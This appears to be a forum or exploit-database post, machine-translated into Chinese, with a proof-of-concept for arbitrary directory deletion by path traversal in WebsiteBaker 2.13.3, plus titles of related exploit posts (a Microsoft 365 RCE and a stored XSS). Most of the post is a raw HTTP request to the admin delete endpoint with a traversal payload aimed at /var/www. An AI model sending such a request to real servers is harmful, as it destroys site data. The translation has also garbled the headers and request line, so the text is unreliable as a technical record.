网站商人v2.13.3-目录遍历

[HackApt-37 Team已验证会员]

利用标题:网站商人v2.13.3-目录遍历
Application:网站商人
版本: 2.13.3
BUGS:目录遍历
Technology: php
供应商URL: https://websitebaker.org/pages/en/home.php
软件link: https://wiki.websitebaker.org/doku.php/en/downloads
发现日期: 26.06.2023
作者:MirabbasAğalarov
在: Linux上测试
2。技术细节POC
====================================================
arbitary目录删除
get/admin/media/delete.php?dir=/././././././././././././././././wwwid=a838b6ebe8ba43a0 http/1.1
HOST: LOCALHOST
用户- 代理: Mozilla/5.0（X11; Linux X86_64; RV:102.0）壁虎/20100101 Firefox/102.0
ACCEPT:文本/HTML，Application/XHTML+XML，Application/XML; Q=0.9，Image/avif，Image/WebP，/; q=0.8
Accept-Language: en-us，en; q=0.5
Accept-incoding: Gzip，放气
连接:关闭
Referer: http://localhost/admin/Media/browse.php？dir=/././././././././././././././. //var/www
cookie: phpsessid-wb-6e6c39=bvnampsc5ji2drm439ph49143c; klaro=％7b％22Klaro％22％3Atrue％2C％22mathcaptcha％22％3Atrue％7D
升级- 不肯定- requests: 1
sec-fetch-Dest:文档
sec-fetch mode:导航
sec-fetch-site:相同原产

 

H

Microsoft 365 MSO（版本2305构建16.0.16501.20074）32位- 远程代码执行（RCE）

H

网站商人v2.13.3-存储的XSS